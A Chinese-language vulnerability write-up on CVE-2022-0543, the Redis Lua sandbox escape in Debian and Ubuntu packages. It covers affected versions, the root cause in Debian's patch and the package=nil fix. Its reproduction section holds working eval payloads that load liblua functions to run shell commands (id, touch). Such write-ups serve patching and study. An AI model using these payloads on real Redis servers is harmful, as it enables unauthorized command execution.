跳转至

CVE-2022-0543(Lua 沙盒绕过 RCE)

漏洞描述

Redis 是著名的开源 Key-Value 数据库,其具备在沙箱中执行 Lua 脚本的能力。Debian 以及 Ubuntu 发行版的源在打包 Redis 时,不慎在 Lua 沙箱中遗留了一个对象 package,攻击者可以利用这个对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令。

影响版本


Debian Redis:

  • Debian Redis < 5: 5.0.14-1+deb10u2

  • Debian Redis < 5: 6.0.16-1+deb11u2

  • Debian Redis < 5: 6.0.16-2


Ubuntu Redis:

  • Ubuntu Redis < 5: 6.0.15-1ubuntu0.1

  • Ubuntu Redis < 5: 5.0.7-2ubuntu0.1


发现版本

  • redis/5: 5.0.14-1+deb10u1,

  • redis/5: 5.0.3-4, redis/5: 6.0.15-1


环境配置

  • Vulhub 项目
  • Docker-compose 启动

漏洞复现

漏洞存在验证

利用 luaopen_io 函数

Lua
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

利用 luaopen_os 函数

Lua
eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_eval"); return 0' 0

Important

利用的前提条件如下:

  • 需要知道 package.loadlib 的路径,也就是 liblua5.1.so.0 路径,该路径可能随系统的不同而不同
Text Only
search cve:2022-0543

Success

在 MSF 中也集成了相关的攻击模块

漏洞原理

redis 一直有一个攻击面, 就是在用户连接 redis 后, 可以通过 eval 命令执行 lua 脚本.

但这个脚本跑在沙箱里, 正常情况下无法执行命令, 读取文件

所以这个 CVE 本质是一个沙箱绕过漏洞

Ubuntu/Debian/CentOS 等这些发行版本会在原始软件的基础上打一些补丁包给 Redis 打了一个的补丁, 增加了一个 include, 下面是 Debian 通过 shell 使用 make 生成补丁包的源码 :

C
luaLoadLib(lua, "", luaopen_base);                                                                                                                                                    
luaLoadLib(lua, LUA_TABLIBNAME, luaopen_table);                                                                                                                                       
luaLoadLib(lua, LUA_STRLIBNAME, luaopen_string);                                                                                                                                      
luaLoadLib(lua, LUA_MATHLIBNAME, luaopen_math);                                                                                                                                       
luaLoadLib(lua, LUA_DBLIBNAME, luaopen_debug);                                                                                                                                        
luaLoadLib(lua, "cjson", luaopen_cjson);                                                                                                                                              
luaLoadLib(lua, "struct", luaopen_struct);                                                                                                                                            
luaLoadLib(lua, "cmsgpack", luaopen_cmsgpack);                                                                                                                                        
luaLoadLib(lua, "bit", luaopen_bit);                                                                                                                                                  

#if 0 /* Stuff that we don't load currently, for sandboxing concerns. */
luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);                                                                                                                                    
luaLoadLib(lua, LUA_OSLIBNAME, luaopen_os);                                                                                                                                           
#endif 
...
...
debian/lua_libs_debian.c:
echo "// Automatically generated; do not edit." >$@
echo "luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);" >>$@
set -e; for X in $(LUA_LIBS_DEBIAN_NAMES); do \
      echo "if (luaL_dostring(lua, \"$$X = require('$$X');\"))" >>$@; \
      echo "   serverLog(LL_NOTICE, \"Error loading $$X library\");" >>$@; \
done
echo 'luaL_dostring(lua, "module = nil; require = nil;");' >>$@
  • luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package) 就是漏洞的来源,。

这段代码原本在 redis 源码里已经是被注释了的, 将其注释掉的原因就是“for sandboxing concerns”

Debian 的这个补丁却把这句话重新写进去了, luaopen_package 最终会被调用,这与上面代码发生的情况相反。这在全局环境中绑定三个变量:module、require 和 package。前两个变量在前面的版本中被清除修复了,但 package 并没有。导致在 Lua 沙箱中遗留了一个对象 package,攻击者可以利用这个 package 对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令

借助 Lua 沙箱中遗留的变量 package 的 loadlib 函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0 里的导出函数 luaopen_io。在 Lua 中执行这个导出函数,即可获得 io 库,再使用其执行命令。

修复建议

Lua 初始化的末尾添加 package = nil 。

Lua
luaL_dostring(lua, "module = nil; require = nil;package=nil;")